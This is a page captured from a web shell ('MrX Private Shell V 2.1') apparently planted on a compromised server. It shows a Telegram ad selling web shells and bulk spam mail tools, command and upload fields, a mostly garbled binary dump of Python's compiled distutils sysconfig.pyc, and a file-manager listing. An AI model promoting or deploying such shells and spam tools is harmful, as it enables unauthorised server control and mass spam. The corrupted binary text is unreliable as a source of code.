__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
o

��bcu6�@sVdZddlZddlZddlZddlZddlZddlZddlmZddl	m
Z
ddlmZ
mZmZmZmZmZmZmZmZmZmZmZm Z m!Z!m"Z"m#Z#m$Z$m%Z%m&Z&m'Z'm(Z(e&�Z)ej*dkrbddlm+Z+ej,d	e-d
d�ddd
�Zee#dd�Z.eee)�Zeee)�Z/ddd�Z0dZ1zes�ej2Z1Wn	e3y�Ynwdd�Z4dd�Z5ddd�Z6ddd�Z7dS)a�Provide access to Python's configuration information.  The specific
configuration variables available depend heavily on the platform and
configuration.  The values may be retrieved using
get_config_var(name), and the list of variables is available via
get_config_vars().keys().  Additional convenience functions are also
available.

Written by:   Fred L. Drake, Jr.
Email:        <[email protected]>
�N)�partial�)�DistutilsPlatformError)�_PREFIX�_BASE_PREFIX�_EXEC_PREFIX�_BASE_EXEC_PREFIX�
_PROJECT_BASE�
_PYTHON_BUILD�_init_posix�parse_config_h�_init_non_posix�_is_python_source_dir�	_sys_home�_variable_rx�_findvar1_rx�_findvar2_rx�expand_makefile_vars�is_python_build�get_config_h_filename�get_config_var�get_config_vars�get_makefile_filename�get_python_version�nt)�_fix_pcbuildzCThe distutils.sysconfig module is deprecated, use sysconfig instead�)�
stacklevelcCst||d�S)N)�vars)�sysconfig_parse_config_h)�fp�g�r"�*/usr/lib/python3.10/distutils/sysconfig.pyrCsrT)�
check_homec	Cs�ddlm}||ddddd�}|duri}i}i}	|��}|dur#n@t�t|�}|rb|�dd�\}}	|	��}	|	�d	d
�}
d|
vrF|	||<nzt	|	�}	Wnt
y]|	�d	d�||<Ynw|	||<qd}|�r4t|�D]�}||}
t�t
|
�p}t�t|
�}|�r.|�d�}d}||vr�t||�}n>||vr�d
}n7|tjvr�tj|}n,||vr�|�d�r�|dd�|vr�d
}nd||vr�d
}nt|d|�}nd
||<}|�r-|
|��d�}|
d|���||}
d|vr�|
||<qlzt	|
�}
Wnt
�y|
��||<Ynw|
||<||=|�d��r-|dd�|v�r-|dd�}||v�r-|
||<ql||=ql|sh|��|��D]\}}	t|	t��rL|	��||<�q<|�|�|S)z�Parse a Makefile-style file.
    A dictionary containing name/value pairs is returned.  If an
    optional dictionary is passed in as the second argument, it is
    used instead of a new dictionary.
    r)�TextFiler�surrogateescape)�strip_comments�skip_blanks�
join_lines�errorsNTrz$$��$)�CFLAGS�LDFLAGS�CPPFLAGSF�PY_�)�distutils.text_filer%�readline�re�matchr�group�strip�replace�int�
ValueError�list�searchrr�str�os�environ�
startswith�end�start�close�items�
isinstance�update)�fnr!r%r �done�notdone�line�m�n�v�tmpv�renamed_variables�name�value�found�item�after�kr"r"r#�parse_makefileNs�
��


�
��2�
rVr+cCs�|jdk�rGtjdkrt�d�sddl}|�t�dtd<tddd	d
ddd
dddd�\}}}}}}}}	}
}}dtj	vr[tj	d}
tjdkrYdtj	vrY|�
|�rY|
|t|�d�}|
}dtj	vretj	d}t�
||gd�r|�dd�}|�dd�}|�dd�}dtj	vr�tj	d}dtj	vr�tj	d}n|d}dtj	vr�|dtj	d}n|r�|d|}d	tj	vr�|dtj	d	}|dtj	d	}n|r�|d|}|d|}dtj	vr�|dtj	d}|dtj	d}|dtj	d}n|
�r|d|
}|d|
}|d|
}d
tj	v�rtj	d
}dtj	v�r&|dtj	d}n|d|	}|d|}|j|||d|||||d�||_dSdS)z�Do any platform-specific customization of a CCompiler instance.

    Mainly needed on Unix, so we can plug in the information that
    varies across Unices and is stored in Python's Makefile.
    �unix�darwin�CUSTOMIZED_OSX_COMPILERrN�True�CC�CXXr-�CCSHARED�LDSHARED�SHLIB_SUFFIX�AR�ARFLAGS�CONFIGURE_CPPFLAGS�CONFIGURE_CFLAGS�CONFIGURE_LDFLAGSz	*-4.[0-8]z-fstack-protector-strongz-fstack-protector�CPPz -Er.� r/)�preprocessor�compiler�compiler_so�compiler_cxx�	linker_so�
linker_exe�archiver)�
compiler_type�sys�platform�_config_vars�get�_osx_support�customize_compilerrr>r?r@�len�fnmatch�filterr8�set_executables�shared_lib_extension)rhrs�cc�cxx�cflags�ccshared�ldshared�shlib_suffix�ar�ar_flags�configure_cppflags�configure_cflags�configure_ldflags�newcc�cpprm�cc_cmdr"r"r#rt�s�

	

��



�









�
	�rtcCstjtjkp
ttd�S)N�real_prefix)ro�base_prefix�prefix�hasattrr"r"r"r#�is_virtual_environmentsr�cCs�|dur
|rtp	t}tjdkrBtr&|rtptStj�t	d�d�}tj�
|�Sdt�t}ts:|r:ddl
}|�d�Stj�|d|�Stjd	krbtr[tj�|d�tjjtj�|d
�Stj�|d�Stdtj��)a�Return the directory containing installed Python header files.

    If 'plat_specific' is false (the default), this is the path to the
    non-platform-specific header files, i.e. Python.h and so on;
    otherwise, this is the path to platform-specific header files
    (namely pyconfig.h).

    If 'prefix' is supplied, use it instead of sys.base_prefix or
    sys.base_exec_prefix -- i.e., ignore 'plat_specific'.
    N�posix�srcdir�Include�pythonr�platinclude�includer�PCzFI don't know where Python installs its C header files on platform '%s')�BASE_EXEC_PREFIX�BASE_PREFIXr>rP�python_buildr�project_base�path�joinr�normpathr�build_flags�	sysconfig�get_path�pathsepr)�
plat_specificr��incdir�
python_dirr�r"r"r#�get_python_inc!s0


���r�cCs�|p
tj�|�dv}|dur|r|rtpt}n|rtpt}tjdkrQ|s'|r+tj	}nd}tj�
||dt��}|r<|S|rJt�sJtj�
|ddd�Stj�
|d�Stjd	krg|r_tj�
|d
�Stj�
|d
d�St
dtj��)aSReturn the directory containing the Python library (standard or
    site additions).

    If 'plat_specific' is true, return the directory containing
    platform-specific modules, i.e. any module from a non-pure-Python
    module distribution; otherwise, return the platform-shared library
    directory.  If 'standard_lib' is true, return the directory
    containing standard Python library modules; otherwise, return the
    directory for site-specific modules.

    If 'prefix' is supplied, use it instead of sys.base_prefix or
    sys.base_exec_prefix -- i.e., ignore 'plat_specific'.
    )z/usrz
/usr/localNr��libr��python3z
dist-packagesz
site-packagesr�Libz?I don't know where Python installs its library on platform '%s')r>r�r�r�r��EXEC_PREFIX�PREFIXrPro�
platlibdirr�rr�r)r��standard_libr��is_default_prefix�libdir�	libpythonr"r"r#�get_python_libLs4

�

��r�)N)rN)rrN)8�__doc__�_impr>r4ro�warningsrv�	functoolsrr*rr�rr�rr�rr�rr�r	r�r
r�r�sysconfig_init_posixrrr
rrrrrrrrrrrrrqrPr�warn�DeprecationWarning�
_python_build�_init_ntrVr��abiflags�AttributeErrorrtr�r�r�r"r"r"r#�<module>sF\
�



o��V
+

Filemanager

Name Type Size Permission Actions
__init__.cpython-310.pyc File 621 B 0644
_msvccompiler.cpython-310.pyc File 12.53 KB 0644
archive_util.cpython-310.pyc File 6.36 KB 0644
bcppcompiler.cpython-310.pyc File 6.34 KB 0644
ccompiler.cpython-310.pyc File 32.27 KB 0644
cmd.cpython-310.pyc File 13.57 KB 0644
config.cpython-310.pyc File 3.45 KB 0644
core.cpython-310.pyc File 6.45 KB 0644
cygwinccompiler.cpython-310.pyc File 8.26 KB 0644
debug.cpython-310.pyc File 197 B 0644
dep_util.cpython-310.pyc File 2.65 KB 0644
dir_util.cpython-310.pyc File 6.02 KB 0644
dist.cpython-310.pyc File 33.15 KB 0644
errors.cpython-310.pyc File 4.82 KB 0644
extension.cpython-310.pyc File 6.81 KB 0644
fancy_getopt.cpython-310.pyc File 10.33 KB 0644
file_util.cpython-310.pyc File 5.78 KB 0644
filelist.cpython-310.pyc File 9.6 KB 0644
log.cpython-310.pyc File 2.2 KB 0644
msvc9compiler.cpython-310.pyc File 17.1 KB 0644
msvccompiler.cpython-310.pyc File 14.38 KB 0644
spawn.cpython-310.pyc File 3.33 KB 0644
sysconfig.cpython-310.pyc File 7.59 KB 0644
text_file.cpython-310.pyc File 8.22 KB 0644
unixccompiler.cpython-310.pyc File 7.04 KB 0644
util.cpython-310.pyc File 15.27 KB 0644
version.cpython-310.pyc File 7.13 KB 0644
versionpredicate.cpython-310.pyc File 5.01 KB 0644
Filemanager